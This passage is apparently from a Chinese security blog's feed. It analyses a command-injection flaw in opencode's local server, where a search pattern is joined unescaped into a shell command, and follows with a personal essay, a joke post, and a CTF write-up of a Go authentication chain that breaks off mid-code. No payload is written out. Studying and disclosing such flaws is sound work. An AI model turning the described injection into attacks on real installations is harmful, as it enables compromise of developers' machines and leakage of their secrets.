&lt;p&gt;在opencode的server，web模式下启动的时候，会默认bind到4096端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function createOpencode() {
  const host = &quot;127.0.0.1&quot;
  const port = 4096
  const url = `http://${host}:${port}`
  const proc = spawn(`opencode`, [`serve`, `--hostname=${host}`, `--port=${port}`])
  const client = createOpencodeClient({ baseUrl: url })

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种场景下的SSRF显得尤为危险，虽然默认绑定的是127.0.0.1，但是如果未默认直接起的服务就会暴漏以下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        .route(&quot;/project&quot;, ProjectRoutes())
        .route(&quot;/pty&quot;, PtyRoutes())
        .route(&quot;/config&quot;, ConfigRoutes())
        .route(&quot;/experimental&quot;, ExperimentalRoutes())
        .route(&quot;/session&quot;, SessionRoutes())
        .route(&quot;/permission&quot;, PermissionRoutes())
        .route(&quot;/question&quot;, QuestionRoutes())
        .route(&quot;/provider&quot;, ProviderRoutes())
        .route(&quot;/&quot;, FileRoutes())
        .route(&quot;/mcp&quot;, McpRoutes())
        .route(&quot;/tui&quot;, TuiRoutes())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;绑定的端口在检查query是否为字符串之后就可以直接访问了，这里列举两个高危的接口&lt;/p&gt;
&lt;p&gt;看看FileRoutes的接入&lt;/p&gt;
&lt;p&gt;列举两个高危接口做下示范&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  new Hono()
    .get(
      &quot;/find&quot;,
      describeRoute({
        summary: &quot;Find text&quot;,
        description: &quot;Search for text patterns across files in the project using ripgrep.&quot;,
        operationId: &quot;find.text&quot;,
        responses: {
          200: {
            description: &quot;Matches&quot;,
            content: {
              &quot;application/json&quot;: {
                schema: resolver(Ripgrep.Match.shape.data.array()),
              },
            },
          },
        },
      }),
      validator(
        &quot;query&quot;,
        z.object({
          pattern: z.string(),
        }),
      ),
      async (c) =&amp;gt; {
        const pattern = c.req.valid(&quot;query&quot;).pattern
        const result = await Ripgrep.search({
          cwd: Instance.directory,
          pattern,
          limit: 10,
        })
        return c.json(result)
      },
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于query只是检查了是否是字符串，就直接push进了pattern，看看search的逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  export async function search(input: {
    cwd: string
    pattern: string
    glob?: string[]
    limit?: number
    follow?: boolean
  }) {
    const args = [`${await filepath()}`, &quot;--json&quot;, &quot;--hidden&quot;, &quot;--glob=&apos;!.git/*&apos;&quot;]
    if (input.follow) args.push(&quot;--follow&quot;)

    if (input.glob) {
      for (const g of input.glob) {
        args.push(`--glob=${g}`)
      }
    }

    if (input.limit) {
      args.push(`--max-count=${input.limit}`)
    }

    args.push(&quot;--&quot;)
    args.push(input.pattern)

    const command = args.join(&quot; &quot;)
    const result = await $`${{ raw: command }}`.cwd(input.cwd).quiet().nothrow()
    if (result.exitCode !== 0) {
      return []
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于${{raw : xxxx}}是不会经过任何转义的，并且还拼接了args，也就把pattern也拼进去了&lt;/p&gt;
&lt;p&gt;这样如此便RCE，可以继续连接自己服务器进行进一步混淆和持久化操作&lt;/p&gt;
&lt;p&gt;第二个是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.get(
      &quot;/find/file&quot;,
      describeRoute({
        summary: &quot;Find files&quot;,
        description: &quot;Search for files or directories by name or pattern in the project directory.&quot;,
        operationId: &quot;find.files&quot;,
        responses: {
          200: {
            description: &quot;File paths&quot;,
            content: {
              &quot;application/json&quot;: {
                schema: resolver(z.string().array()),
              },
            },
          },
        },
      }),
      validator(
        &quot;query&quot;,
        z.object({
          query: z.string(),
          dirs: z.enum([&quot;true&quot;, &quot;false&quot;]).optional(),
          type: z.enum([&quot;file&quot;, &quot;directory&quot;]).optional(),
          limit: z.coerce.number().int().min(1).max(200).optional(),
        }),
      ),
      async (c) =&amp;gt; {
        const query = c.req.valid(&quot;query&quot;).query
        const dirs = c.req.valid(&quot;query&quot;).dirs
        const type = c.req.valid(&quot;query&quot;).type
        const limit = c.req.valid(&quot;query&quot;).limit
        const results = await File.search({
          query,
          limit: limit ?? 10,
          dirs: dirs !== &quot;false&quot;,
          type,
        })
        return c.json(results)
      },
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依旧query原样检查字符串后直接拼入，看看file search逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  export async function search(input: { query: string; limit?: number; dirs?: boolean; type?: &quot;file&quot; | &quot;directory&quot; }) {
    const query = input.query.trim()
    const limit = input.limit ?? 100
    const kind = input.type ?? (input.dirs === false ? &quot;file&quot; : &quot;all&quot;)
    log.info(&quot;search&quot;, { query, kind })

    const result = await state().then((x) =&amp;gt; x.files())

    const hidden = (item: string) =&amp;gt; {
      const normalized = item.replaceAll(&quot;\\&quot;, &quot;/&quot;).replace(/\/+$/, &quot;&quot;)
      return normalized.split(&quot;/&quot;).some((p) =&amp;gt; p.startsWith(&quot;.&quot;) &amp;amp;&amp;amp; p.length &amp;gt; 1)
    }
    const preferHidden = query.startsWith(&quot;.&quot;) || query.includes(&quot;/.&quot;)
    const sortHiddenLast = (items: string[]) =&amp;gt; {
      if (preferHidden) return items
      const visible: string[] = []
      const hiddenItems: string[] = []
      for (const item of items) {
        const isHidden = hidden(item)
        if (isHidden) hiddenItems.push(item)
        if (!isHidden) visible.push(item)
      }
      return [...visible, ...hiddenItems]
    }
    if (!query) {
      if (kind === &quot;file&quot;) return result.files.slice(0, limit)
      return sortHiddenLast(result.dirs.toSorted()).slice(0, limit)
    }

    const items =
      kind === &quot;file&quot; ? result.files : kind === &quot;directory&quot; ? result.dirs : [...result.files, ...result.dirs]

    const searchLimit = kind === &quot;directory&quot; &amp;amp;&amp;amp; !preferHidden ? limit * 20 : limit
    const sorted = fuzzysort.go(query, items, { limit: searchLimit }).map((r) =&amp;gt; r.target)
    const output = kind === &quot;directory&quot; ? sortHiddenLast(sorted).slice(0, limit) : sorted

    log.info(&quot;search&quot;, { query, kind, results: output.length })
    return output
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即使非本机文件的泄露，但是&lt;/p&gt;
&lt;p&gt;const &lt;em&gt;result&lt;/em&gt; = &lt;em&gt;await&lt;/em&gt; &lt;em&gt;state&lt;/em&gt;()*.&lt;em&gt;&lt;em&gt;then&lt;/em&gt;((&lt;em&gt;x&lt;/em&gt;) =&amp;gt; &lt;em&gt;x&lt;/em&gt;&lt;/em&gt;.*&lt;em&gt;files&lt;/em&gt;())&lt;/p&gt;
&lt;p&gt;也会造成.env以及本项目文件的泄露&lt;/p&gt;
&lt;p&gt;这也是对于服务端很危险的，当然对于前者，在本机运行的其他项目如果暴漏在局域网或者公网中时&lt;/p&gt;
&lt;p&gt;这个边界跳板就显得尤为重要，这也是xss进行SSRF个人认为比较核心的点，由XSS到SSRF到RCE.&lt;/p&gt;
</content:encoded></item><item><title>一个阶段的自白</title><link>https://ymsora.com/posts/%E9%9A%8F%E7%AC%94/</link><guid isPermaLink="true">https://ymsora.com/posts/%E9%9A%8F%E7%AC%94/</guid><description>自白</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;一个阶段的自白&lt;/h1&gt;
&lt;p&gt;现在是4月1日的凌晨&lt;/p&gt;
&lt;p&gt;我不知道从何说起&lt;/p&gt;
&lt;p&gt;一直以来，我爱记录自我，&lt;/p&gt;
&lt;p&gt;但是现在的节奏，速度快得可以让人忘记自我，&lt;/p&gt;
&lt;p&gt;AI，我们，因为这行一直在技术的前沿，&lt;/p&gt;
&lt;p&gt;看得越多，也就越对未来不抱什么希望&lt;/p&gt;
&lt;p&gt;AI会一直拉低人的技术成本，&lt;/p&gt;
&lt;p&gt;安全的门槛会变得越来越低，&lt;/p&gt;
&lt;p&gt;拼死学好几年，或是更多&lt;/p&gt;
&lt;p&gt;也会被AI一把梭给甩远远的&lt;/p&gt;
&lt;p&gt;只要略微懂些程序，就可以用AI在比赛&lt;/p&gt;
&lt;p&gt;或是实战中发挥作用&lt;/p&gt;
&lt;p&gt;这个时代是投机者的乐园吗&lt;/p&gt;
&lt;p&gt;我愤慨着，&lt;/p&gt;
&lt;p&gt;但却毫无作用，&lt;/p&gt;
&lt;p&gt;声音会被淹没在浪潮中&lt;/p&gt;
&lt;p&gt;21世纪&lt;/p&gt;
&lt;p&gt;这个光怪陆离的世纪，&lt;/p&gt;
&lt;p&gt;不知道未来的文化会被摧残如何，&lt;/p&gt;
&lt;p&gt;在很多很多作品中&lt;/p&gt;
&lt;p&gt;AI和仿生人都是常见题材&lt;/p&gt;
&lt;p&gt;伦理上的也好，我不知如何说了&lt;/p&gt;
&lt;p&gt;很多时候，代码是冷漠的，&lt;/p&gt;
&lt;p&gt;emmmmmmmmmmmm，&lt;/p&gt;
&lt;p&gt;不同于千禧年，现在的互联网相较于那时褪去了几分神性&lt;/p&gt;
&lt;p&gt;但是，因为万维网，人与人彼此相连，&lt;/p&gt;
&lt;p&gt;我看着这一切&lt;/p&gt;
&lt;p&gt;或许，我才是旧时代的残党&lt;/p&gt;
&lt;p&gt;稍稍理解了一些&lt;/p&gt;
&lt;p&gt;我深爱那个将人与人相连的，纯粹的互联网&lt;/p&gt;
&lt;p&gt;我不知，从何说起了&lt;/p&gt;
&lt;p&gt;都说AI是第三次工业革命&lt;/p&gt;
&lt;p&gt;又都说引领AI进攻其他领域&lt;/p&gt;
&lt;p&gt;但是除了效率以外，&lt;/p&gt;
&lt;p&gt;我仍然关注着自身，是否在这种节奏下&lt;/p&gt;
&lt;p&gt;能够存活呢&lt;/p&gt;
&lt;p&gt;答案自然是肯定的&lt;/p&gt;
&lt;p&gt;不过，稍稍，多了一些困难吧&lt;/p&gt;
&lt;p&gt;emmmmm，&lt;/p&gt;
&lt;p&gt;CTF在逐渐衰弱，&lt;/p&gt;
&lt;p&gt;网络安全门槛在降低&lt;/p&gt;
&lt;p&gt;创意在变廉价&lt;/p&gt;
&lt;p&gt;开发更是被说成是人都行&lt;/p&gt;
&lt;p&gt;但是我依然看到大家仍然在创作着&lt;/p&gt;
&lt;p&gt;什么时候我被换下呢&lt;/p&gt;
&lt;p&gt;现在想来&lt;/p&gt;
&lt;p&gt;我已经不是很在意了&lt;/p&gt;
&lt;p&gt;或许读者觉得我理想主义过头了罢&lt;/p&gt;
&lt;p&gt;确实吃饭还是要考虑的&lt;/p&gt;
&lt;p&gt;emmm，确实有时候应该好好想想&lt;/p&gt;
&lt;p&gt;研究的门槛也更进一步在降低&lt;/p&gt;
&lt;p&gt;AI率先侵入的就是学术圈和程序的工业界&lt;/p&gt;
&lt;p&gt;其他行业其实在我看来，也是迟早的事情&lt;/p&gt;
&lt;p&gt;嗯，是的，这就是暴论，&lt;/p&gt;
&lt;p&gt;依旧是步履薄冰，步履维艰得行走&lt;/p&gt;
&lt;p&gt;写到这，我想，果然，我还是我&lt;/p&gt;
&lt;p&gt;我依旧会继续，&lt;/p&gt;
&lt;p&gt;emmmm，&lt;/p&gt;
&lt;p&gt;好久没有画画了&lt;/p&gt;
&lt;p&gt;泪水在打转，&lt;/p&gt;
&lt;p&gt;痛苦着，那又何妨了&lt;/p&gt;
&lt;p&gt;有时候还是很害怕的吧&lt;/p&gt;
&lt;p&gt;想到了伊拉斯谟的，腐水之下&lt;/p&gt;
&lt;p&gt;无论我如何，在这里&lt;/p&gt;
&lt;p&gt;终究会沉入水底吗，自然不可乖乖就范啊&lt;/p&gt;
&lt;p&gt;这个世界就像一团死水&lt;/p&gt;
&lt;p&gt;据我所知，罗兰曾经说过 [人生没有单程票]，是这样说的吗，还是[人生并没有双程票]&lt;/p&gt;
&lt;p&gt;相比与很多人，我自认为很幸运，也一直在做自己期望的事&lt;/p&gt;
&lt;p&gt;我会一直来赴约的&lt;/p&gt;
&lt;p&gt;啊，是阿尔丰斯·穆夏的彩绘玻璃&lt;/p&gt;
&lt;p&gt;或许有一天我会前往布拉格吧&lt;/p&gt;
&lt;p&gt;或许，我很像Michel(雾上的伊拉斯谟)吧&lt;/p&gt;
&lt;p&gt;就这样了，结束了&lt;/p&gt;
&lt;p&gt;这是我对于自我的自白~&lt;/p&gt;
&lt;p&gt;但是，emmm，你还没有，好好活着&lt;/p&gt;
&lt;p&gt;爱你的 YMsora~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/real1.jpg&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Gospel零日攻击</title><link>https://ymsora.com/posts/%E8%94%A1%E6%96%AF%E5%B7%A5%E5%9D%8A/</link><guid isPermaLink="true">https://ymsora.com/posts/%E8%94%A1%E6%96%AF%E5%B7%A5%E5%9D%8A/</guid><description>水一水随笔</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Gospel零日攻击&lt;/h1&gt;
&lt;p&gt;早期的导力网络是由爱普斯坦和蔡斯联合发明并且推广的&lt;/p&gt;
&lt;p&gt;但是这种导力网络原本压根没考虑过外部的流量过滤以及外部恶意 septium 谐振干扰。&lt;/p&gt;
&lt;p&gt;Orbal OS 里连基本的反谐振滤波模块都没有！&lt;/p&gt;
&lt;p&gt;导致由结社所控制的福音可以无限制无filter得尽兴ddos&lt;/p&gt;
&lt;p&gt;当然，这样的行为我相信拉塞尔博士和缇妲会对其进行修复&lt;/p&gt;
</content:encoded></item><item><title>记录一次手搓CTF agent的开始</title><link>https://ymsora.com/posts/%E9%98%B6%E6%AE%B5/</link><guid isPermaLink="true">https://ymsora.com/posts/%E9%98%B6%E6%AE%B5/</guid><description>记录一次手搓CTF agent的开始</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;记录一次手搓CTF agent的开始&lt;/h1&gt;
&lt;p&gt;本着学习的目的开了新项目&lt;/p&gt;
&lt;p&gt;想着是可以结合Prompt的权重配比进行开发，&lt;/p&gt;
&lt;p&gt;并且想做出一些不同于市面上其他agent的一些新意&lt;/p&gt;
&lt;p&gt;看了一些预测token和agent工程的文章&lt;/p&gt;
&lt;p&gt;感觉多agent配比和权重对于复杂任务来说是一个很好的协作方案&lt;/p&gt;
&lt;p&gt;当然，也会与学术界结合&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/code1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>GO的双解析差异链和CTF的吐槽</title><link>https://ymsora.com/posts/gogogo1/</link><guid isPermaLink="true">https://ymsora.com/posts/gogogo1/</guid><description>韩国公开赛</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;GO的双解析差异+二次递归鉴权长链和CTF的吐槽(RelayDesk)&lt;/h1&gt;
&lt;p&gt;吐槽在最底下&lt;/p&gt;
&lt;p&gt;提前大致说一下这个链子&lt;/p&gt;
&lt;p&gt;（profile sync → 第一次 ticket 种 awaiting_reply → 第二次 continuation card 挂接 → threaded_handoff 投 admin → renderer 隐藏 iframe + postMessage → /mail/open 签 wid/rv → 4-gram oracle），中间还塞了个自定义 URL 规范化（canonicalizeEdgeAuthority 那堆 %解码 + 全角点 + .[ 截断的怪逻辑）来制造解析差异。&lt;/p&gt;
&lt;p&gt;对于AI的全自动人工局部审计的结合，我认为仍然是一个可取的大方向，&lt;/p&gt;
&lt;p&gt;所以在AI审计中加入自己的元素，以及学习AI的协作，开发，&lt;/p&gt;
&lt;p&gt;我认为这是我现在学习的方向&lt;/p&gt;
&lt;p&gt;这里打一个golang的多重链&lt;/p&gt;
&lt;p&gt;先按照我习惯看看api&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r.Get(&quot;/healthz&quot;, func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })
r.Post(&quot;/auth/login&quot;, s.handleLogin)
r.Post(&quot;/api/v1/support/profile/sync&quot;, s.handleProfileSync)
r.Post(&quot;/api/v1/support/tickets&quot;, s.handleTicketCreate)
r.Get(&quot;/api/v1/support/tickets/{publicID}/status&quot;, s.handleTicketStatus)
r.Get(&quot;/mail/inbox&quot;, s.requireAdmin(s.handleInbox))
r.Post(&quot;/mail/mark-read/{id}&quot;, s.requireAdmin(s.handleMarkRead))
r.Get(&quot;/mail/view/{id}&quot;, s.requireAdmin(s.handleMailView))
r.Get(&quot;/mail/open/{messageID}&quot;, s.handleMailOpen)
r.Get(&quot;/mail/queue/workspace&quot;, s.requireAdmin(s.handleQueueWorkspace))
r.Get(&quot;/mail/queue/resume/{resumeRef}&quot;, s.handleQueueResume)
r.Get(&quot;/mail/queue/assets/{resumeRef}/{slot}.js&quot;, s.handleQueueAsset)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到大部分都是有鉴权的，并且是s对象下的&lt;/p&gt;
&lt;p&gt;requireadmin，跟进&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (s *server) requireAdmin(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        cookie, err := r.Cookie(s.cfg.CookieName)
        if err != nil {
            http.Error(w, &quot;auth required&quot;, http.StatusUnauthorized)
            return
        }
        u, err := auth.UserFromSession(r.Context(), s.db, cookie.Value)
        if err != nil {
            http.Error(w, &quot;invalid session&quot;, http.StatusUnauthorized)
            return
        }
        if u.Role != &quot;admin&quot; {
            http.Error(w, &quot;admin only&quot;, http.StatusForbidden)
            return
        }
        next(w, r.WithContext(context.WithValue(r.Context(), ctxUser{}, u)))
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为在这里是s下的结构体，需要检查cookie是否是存在的，并且是否是admin。&lt;/p&gt;
&lt;p&gt;全部验证通过之后，就存入参数，创建新的session给next&lt;/p&gt;
&lt;p&gt;这里唯一可以追溯的是auth的UserFromSession校验&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func UserFromSession(ctx context.Context, db *sql.DB, token string) (User, error) {
    var u User
    err := db.QueryRowContext(ctx, `
        SELECT u.id, u.email, u.role
        FROM sessions s
        JOIN users u ON u.id = s.user_id
        WHERE s.token_hash = $1 AND s.expires_at &amp;gt; NOW()
    `, hashToken(token)).Scan(&amp;amp;u.ID, &amp;amp;u.Email, &amp;amp;u.Role)
    if err != nil {
        if errors.Is(err, sql.ErrNoRows) {
            return User{}, errors.New(&quot;invalid session&quot;)
        }
        return User{}, fmt.Errorf(&quot;session lookup: %w&quot;, err)
    }
    return u, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的token有hash，并且是填入式，避免了直接发包的sql注入&lt;/p&gt;
&lt;p&gt;如此一来，在中间件鉴权目前没有找到进攻面&lt;/p&gt;
&lt;p&gt;接下来就是为健全，在提交草稿之后会有处理草稿的中间件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (s *server) handleTicketCreate(w http.ResponseWriter, r *http.Request) {
    key := s.ensureImportDraftKey(w, r)
    state, err := s.draftCache.Load(r.Context(), key)
    if err != nil {
        http.Error(w, &quot;draft load failed&quot;, http.StatusInternalServerError)
        return
    }

    var req ticketCreateReq
    if err := json.NewDecoder(r.Body).Decode(&amp;amp;req); err != nil {
        http.Error(w, &quot;bad json&quot;, http.StatusBadRequest)
        return
    }
    if req.SubmitterEmail == &quot;&quot; {
        req.SubmitterEmail = state.SubmitterEmail
    }
    if req.Subject == &quot;&quot; {
        req.Subject = state.Subject
    }
    if req.BodyHTML == &quot;&quot; {
        req.BodyHTML = state.BodyHTML
    }
    if req.BodyText == &quot;&quot; {
        req.BodyText = state.BodyText
    }
    if req.SubmitterEmail == &quot;&quot; || req.Subject == &quot;&quot; {
        http.Error(w, &quot;missing fields&quot;, http.StatusBadRequest)
        return
    }
    normalized, err := normalizeVerifiedSubmitter(req.SubmitterEmail)
    if err != nil {
        http.Error(w, &quot;invalid submitter email&quot;, http.StatusBadRequest)
        return
    }
    req.SubmitterEmail = normalized

    bundle := state.Bundle()
    draftSnapshot := catalog.Resolve(bundle)
    threadAnchor := threadAnchorForSnapshot(draftSnapshot, req.Subject)
    profileJSON, err := json.Marshal(bundle)
    if err != nil {
        http.Error(w, &quot;profile encode failed&quot;, http.StatusInternalServerError)
        return
    }
    candidate, err := s.findThreadCandidate(r.Context(), req.SubmitterEmail, req.Subject, threadAnchor)
    if err != nil {
        http.Error(w, &quot;retry lookup failed&quot;, http.StatusInternalServerError)
        return
    }
    attachedToThread := candidate.Matches(req.BodyHTML, req.Subject)
    if rejectContinuationRetry(candidate, req.BodyHTML, req.Subject) {
        writeTicketCreateResponse(w, http.StatusOK, candidate.PublicID)
        return
    }
    routeSnapshot := deliverySnapshotForAttempt(candidate, draftSnapshot, attachedToThread)
    routeMode := resolveDeliveryMode(routeSnapshot, attachedToThread)
    plan := resolveDeliveryPlan(routeMode)
    ticketID := candidate.TicketID
    publicID := candidate.PublicID
    if !attachedToThread {
        ticketID = uuid.NewString()
        publicID = freshPublicID()
        status := ticketStatusForState(threadAnchor)
        _, err = s.db.ExecContext(r.Context(), `
                INSERT INTO tickets (
                id, public_id, submitter_email, subject, body_html, body_text,
                profile_json, thread_anchor, reconcile_ready, view_token, state_token, dispatch_blob,
                dispatch_key, dispatch_closed_at, dispatch_settled, status
            )
            VALUES ($1, $2, $3, $4, $5, $6, $7, $8, FALSE, &apos;&apos;, &apos;&apos;, &apos;{}&apos;, &apos;&apos;, NULL, FALSE, $9)
        `, ticketID, publicID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, string(profileJSON), threadAnchor, status)
        if err != nil {
            http.Error(w, &quot;create ticket failed&quot;, http.StatusInternalServerError)
            return
        }
    } else {
        dispatchKey := dispatchKeyForBody(req.BodyHTML)
        _, err = s.db.ExecContext(r.Context(), `
            UPDATE tickets
            SET submitter_email = $2,
                subject = $3,
                body_html = $4,
                body_text = $5,
                dispatch_key = $6,
                status = &apos;conversation_linked&apos;,
                dispatch_closed_at = NULL,
                dispatch_settled = FALSE
            WHERE id = $1
        `, ticketID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, dispatchKey)
        if err != nil {
            http.Error(w, &quot;update retry profile failed&quot;, http.StatusInternalServerError)
            return
        }
    }

    _, err = s.db.ExecContext(r.Context(), `
        INSERT INTO mail_jobs (id, ticket_id, submitter_email, subject, body_html, body_text, route_mode)
        VALUES ($1, $2, $3, $4, $5, $6, $7)
    `, uuid.NewString(), ticketID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, plan.RouteMode)
    if err != nil {
        http.Error(w, &quot;queue mail failed&quot;, http.StatusInternalServerError)
        return
    }

    writeTicketCreateResponse(w, http.StatusOK, publicID)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bundle := state.Bundle()
    draftSnapshot := catalog.Resolve(bundle)
    threadAnchor := threadAnchorForSnapshot(draftSnapshot, req.Subject)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的bundle也就是反馈当前状态，在 catalog.Resolve是具体的业务逻辑&lt;/p&gt;
&lt;p&gt;主要的是在threadAnchorForSnapshot，跟进&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func threadAnchorForSnapshot(snapshot catalog.Snapshot, subject string) string {
    if !queueSupportsWorkspace(snapshot) || !localeSupportsWorkspace(snapshot) || !auditSupportsWorkspace(snapshot) || !mailboxSupportsWorkspace(snapshot) {
        return &quot;&quot;
    }
    return handoff.ThreadAnchor(subject, snapshot.Review.Queue, snapshot.Profile.LocaleHint, snapshot.Audit.TraceToken)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里是一个发工单id的地方，也就是说，只要这四个都满足：&lt;/p&gt;
&lt;p&gt;queue 是 handoff&lt;/p&gt;
&lt;p&gt;locale 是 digest&lt;/p&gt;
&lt;p&gt;audit 是 journal&lt;/p&gt;
&lt;p&gt;mailbox 是 managed + trusted mailbox&lt;/p&gt;
&lt;p&gt;这样就会return&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func ThreadAnchor(subject, queue, locale, trace string) string {
    return fnvHex(fmt.Sprintf(
        &quot;%s|%s|%s|%s&quot;,
        NormalizeSubjectForLocale(subject, locale),
        QueueClass(queue),
        LocaleClass(locale, &quot;&quot;),
        TraceClass(trace),
    ))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在返回这个threadAnchor之后，status:=ticketStatusForState(threadAnchor)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func ticketStatusForState(threadAnchor string) string {
	if threadAnchor != &quot;&quot; {
		return &quot;queued&quot;
	}
	return &quot;open&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在worker里的轮询中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if !j.TicketReady {
        if viewToken, stateToken, nextState, ok := deriveFollowupState(j, snapshot); ok {
            encodedState := encodeDispatchState(nextState)
            _, err = tx.ExecContext(ctx, `
                UPDATE tickets
                SET reconcile_ready = TRUE,
                    view_token = $2,
                    state_token = $3,
                    dispatch_blob = $4,
                    dispatch_key = &apos;&apos;,
                    dispatch_closed_at = NULL,
                    dispatch_settled = FALSE,
                    status = &apos;awaiting_reply&apos;
                WHERE id = $1
            `, j.TicketID, viewToken, stateToken, encodedState)
            if err != nil {
                return err
            }
            j.TicketViewToken = viewToken
            j.TicketStateToken = stateToken
            j.TicketDispatchBlob = encodedState
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说第一次 ticket 经过 worker 处理后，会从普通 queued变成awaiting_reply&lt;/p&gt;
&lt;p&gt;并且，这个单据是可以二次追究的&lt;/p&gt;
&lt;p&gt;看这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;routeSnapshot := deliverySnapshotForAttempt(candidate, draftSnapshot, attachedToThread)
    routeMode := resolveDeliveryMode(routeSnapshot, attachedToThread)
    plan := resolveDeliveryPlan(routeMode)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进 resolveDeliveryMode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func resolveDeliveryMode(snapshot catalog.Snapshot, isFollowup bool) string {
    if isFollowup &amp;amp;&amp;amp; supportsReviewFollowup(snapshot) {
        return &quot;threaded_handoff&quot;
    }
    return &quot;standard&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样 route mode就会变成 threaded_handoff&lt;/p&gt;
&lt;p&gt;然后看看满足条件的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;recipients := []string{&quot;operator@relaydesk.local&quot;}
if j.RouteMode == &quot;threaded_handoff&quot; &amp;amp;&amp;amp; j.TicketReady {
	recipients = resolveInternalReviewRecipients(snapshot.Profile.BridgeAddress, meta)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续跟进resolveInternalReviewRecipients&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func resolveInternalReviewRecipients(input string, meta automationMeta) []string {
	recipients := []string{&quot;operator@relaydesk.local&quot;}
	if !hasReferenceContext(meta) {
		return recipients
	}
	if !handoff.TrustedReviewMailbox(input) {
		return recipients
	}
	return []string{&quot;operator@relaydesk.local&quot;, &quot;admin@relaydesk.local&quot;}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要想投递给admin的话&lt;/p&gt;
&lt;p&gt;route mode 是 threaded_handoff, meta 里得有合法 reference context&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func buildAutomationMeta(bodyHTML, subject string, profile draft.ImportedProfile) automationMeta {
    raw := strings.TrimSpace(bodyHTML)
    if raw == &quot;&quot; || len(raw) &amp;gt; 2048 {
        return defaultAutomationMeta()
    }

    card, ok := continuation.ExtractActionCard(raw)
    if !ok {
        return defaultAutomationMeta()
    }

    meta := defaultAutomationMeta()
    meta.Link = card.ReferenceURL
    meta.Mode = card.Mode
    meta.Tags = card.Tags
    meta.ThreadID = card.ThreadID

    meta.Link = strings.TrimSpace(meta.Link)
    if strings.TrimSpace(meta.Mode) != &quot;inline&quot; {
        return defaultAutomationMeta()
    }
    if !hasRequiredTags(meta.Tags) {
        return defaultAutomationMeta()
    }
    expectedThread := handoff.NormalizeThreadKey(subject)
    if strings.TrimSpace(meta.ThreadID) == &quot;&quot; || strings.TrimSpace(meta.ThreadID) != expectedThread {
        return defaultAutomationMeta()
    }
    rawLink := meta.Link
    normalizedLink, ok := handoff.NormalizeReviewLink(rawLink, profile.BridgeAddress)
    if !ok {
        return defaultAutomationMeta()
    }
    portalOrigin, ok := handoff.ReviewPortalOrigin(rawLink)
    if !ok {
        return defaultAutomationMeta()
    }
    meta.Link = normalizedLink
    meta.PortalOrigin = portalOrigin
    meta.ThreadID = expectedThread
    return meta
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在第一次上传票据将票据的状态改变为 awaiting_reply  之后，&lt;/p&gt;
&lt;p&gt;这样才能转接给admin
并且因为normalizedLink, ok := handoff.NormalizeReviewLink(rawLink, profile.BridgeAddress)&lt;/p&gt;
&lt;p&gt;所以会校验链接是否合法&lt;/p&gt;
&lt;p&gt;看看，函数normalizereviewlink&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type normalizedReference struct {
	Source    string
	Scheme    string
	Authority string
	Path      string
	Compat    bool
}

func normalizeEdgeReference(raw string) (normalizedReference, bool) {
	raw = strings.TrimSpace(raw)
	scheme, rest, found := strings.Cut(raw, &quot;://&quot;)
	if !found {
		return normalizedReference{}, false
	}
	scheme = NormalizeValue(scheme)
	if scheme == &quot;&quot; {
